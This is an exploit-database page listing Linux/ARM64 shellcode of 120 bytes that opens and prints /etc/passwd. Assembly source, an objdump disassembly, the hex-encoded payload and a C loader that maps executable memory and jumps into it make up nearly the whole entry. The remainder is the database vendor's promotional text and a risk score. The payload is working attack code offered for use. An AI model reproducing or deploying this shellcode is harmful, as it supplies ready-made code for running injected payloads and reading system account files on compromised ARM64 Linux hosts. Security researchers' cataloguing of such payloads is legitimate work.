Lucene search
K

Linux/ARM64 - Read /etc/passwd Shellcode (120 Bytes)

🗓️ 02 Jul 2019 00:00:00Reported by Ken KitaharaType 
zdt
 zdt
🔗 0day.today👁 273 Views

Linux/ARM64 - Read /etc/passwd Shellcode (120 Bytes) written by Ken Kitahara for Ubuntu 16.04 (aarch64

Code
/*
# Title:  Linux/ARM64 - Read /etc/passwd Shellcode (120 Bytes)
# Date:   2019-06-30
# Tested: Ubuntu 16.04 (aarch64)
# Author: Ken Kitahara
# Compilation: gcc -o loader loader.c


ubuntu@ubuntu:~/works$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu Xenial Xerus (development branch)
Release:	16.04
Codename:	xenial
ubuntu@ubuntu:~/works$ uname -a
Linux ubuntu 4.2.0-16-generic #19-Ubuntu SMP Thu Oct 8 15:00:45 UTC 2015 aarch64 aarch64 aarch64 GNU/Linux
ubuntu@ubuntu:~/works$ cat passwd.s
.section .text
.global _start
_start:
    // fd = openat(0, "/etc/passwd", O_RDONLY)
    mov  x0, xzr
    mov  x1, #0x7773
    movk x1, #0x64, lsl #16
    str  x1, [sp, #-8]!
    mov  x1, #0x652f
    movk x1, #0x6374, lsl #16
    movk x1, #0x702f, lsl #32
    movk x1, #0x7361, lsl #48
    str  x1, [sp, #-8]!
    add  x1, sp, x0
    mov  x2, xzr
    mov  x8, #56
    svc  #0x1337

    mvn  x3, x0

    // read(fd, *buf, size)
    mov  x2, #0xfff
    sub  sp, sp, x2
    mov  x8, xzr
    add  x1, sp, x8
    mov  x8, #63
    svc  #0x1337

    // write(1, *buf, size)
    str  x0, [sp, #-8]!
    lsr  x0, x2, #11
    ldr  x2, [sp], #8
    mov  x8, #64
    svc  #0x1337

    // status = close(fd)
    mvn  x0, x3
    mov  x8, #57
    svc  #0x1337

    // exit(status)
    mov  x8, #93
    svc  #0x1337
ubuntu@ubuntu:~/works$ as -o passwd.o passwd.s && ld -o passwd passwd.o
ubuntu@ubuntu:~/works$ objdump -d ./passwd

./passwd:     file format elf64-littleaarch64


Disassembly of section .text:

0000000000400078 <_start>:
  400078:	aa1f03e0 	mov	x0, xzr
  40007c:	d28eee61 	mov	x1, #0x7773                	// #30579
  400080:	f2a00c81 	movk	x1, #0x64, lsl #16
  400084:	f81f8fe1 	str	x1, [sp,#-8]!
  400088:	d28ca5e1 	mov	x1, #0x652f                	// #25903
  40008c:	f2ac6e81 	movk	x1, #0x6374, lsl #16
  400090:	f2ce05e1 	movk	x1, #0x702f, lsl #32
  400094:	f2ee6c21 	movk	x1, #0x7361, lsl #48
  400098:	f81f8fe1 	str	x1, [sp,#-8]!
  40009c:	8b2063e1 	add	x1, sp, x0
  4000a0:	aa1f03e2 	mov	x2, xzr
  4000a4:	d2800708 	mov	x8, #0x38                  	// #56
  4000a8:	d40266e1 	svc	#0x1337
  4000ac:	aa2003e3 	mvn	x3, x0
  4000b0:	d281ffe2 	mov	x2, #0xfff                 	// #4095
  4000b4:	cb2263ff 	sub	sp, sp, x2
  4000b8:	aa1f03e8 	mov	x8, xzr
  4000bc:	8b2863e1 	add	x1, sp, x8
  4000c0:	d28007e8 	mov	x8, #0x3f                  	// #63
  4000c4:	d40266e1 	svc	#0x1337
  4000c8:	f81f8fe0 	str	x0, [sp,#-8]!
  4000cc:	d34bfc40 	lsr	x0, x2, #11
  4000d0:	f84087e2 	ldr	x2, [sp],#8
  4000d4:	d2800808 	mov	x8, #0x40                  	// #64
  4000d8:	d40266e1 	svc	#0x1337
  4000dc:	aa2303e0 	mvn	x0, x3
  4000e0:	d2800728 	mov	x8, #0x39                  	// #57
  4000e4:	d40266e1 	svc	#0x1337
  4000e8:	d2800ba8 	mov	x8, #0x5d                  	// #93
  4000ec:	d40266e1 	svc	#0x1337
ubuntu@ubuntu:~/works$ objcopy -O binary passwd passwd.bin
ubuntu@ubuntu:~/works$ hexdump -v -e '"\\""x" 1/1 "%02x" ""' passwd.bin && echo
\xe0\x03\x1f\xaa\x61\xee\x8e\xd2\x81\x0c\xa0\xf2\xe1\x8f\x1f\xf8\xe1\xa5\x8c\xd2\x81\x6e\xac\xf2\xe1\x05\xce\xf2\x21\x6c\xee\xf2\xe1\x8f\x1f\xf8\xe1\x63\x20\x8b\xe2\x03\x1f\xaa\x08\x07\x80\xd2\xe1\x66\x02\xd4\xe3\x03\x20\xaa\xe2\xff\x81\xd2\xff\x63\x22\xcb\xe8\x03\x1f\xaa\xe1\x63\x28\x8b\xe8\x07\x80\xd2\xe1\x66\x02\xd4\xe0\x8f\x1f\xf8\x40\xfc\x4b\xd3\xe2\x87\x40\xf8\x08\x08\x80\xd2\xe1\x66\x02\xd4\xe0\x03\x23\xaa\x28\x07\x80\xd2\xe1\x66\x02\xd4\xa8\x0b\x80\xd2\xe1\x66\x02\xd4

*/

#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

char shellcode[] =
"\xe0\x03\x1f\xaa\x61\xee\x8e\xd2\x81\x0c\xa0\xf2\xe1\x8f\x1f\xf8"
"\xe1\xa5\x8c\xd2\x81\x6e\xac\xf2\xe1\x05\xce\xf2\x21\x6c\xee\xf2"
"\xe1\x8f\x1f\xf8\xe1\x63\x20\x8b\xe2\x03\x1f\xaa\x08\x07\x80\xd2"
"\xe1\x66\x02\xd4\xe3\x03\x20\xaa\xe2\xff\x81\xd2\xff\x63\x22\xcb"
"\xe8\x03\x1f\xaa\xe1\x63\x28\x8b\xe8\x07\x80\xd2\xe1\x66\x02\xd4"
"\xe0\x8f\x1f\xf8\x40\xfc\x4b\xd3\xe2\x87\x40\xf8\x08\x08\x80\xd2"
"\xe1\x66\x02\xd4\xe0\x03\x23\xaa\x28\x07\x80\xd2\xe1\x66\x02\xd4"
"\xa8\x0b\x80\xd2\xe1\x66\x02\xd4";

int main(int argc, char **argv) {
    printf("Shellcode Length: %zd Bytes\n", strlen(shellcode));

    void *ptr = mmap(0, 0x100, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);

    if (ptr == MAP_FAILED) {
        perror("mmap");
        exit(-1);
    }

    memcpy(ptr, shellcode, sizeof(shellcode));
    sc = ptr;

    sc();

    return 0;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Jul 2019 00:00Current
7.1High risk
Vulners AI Score7.1
273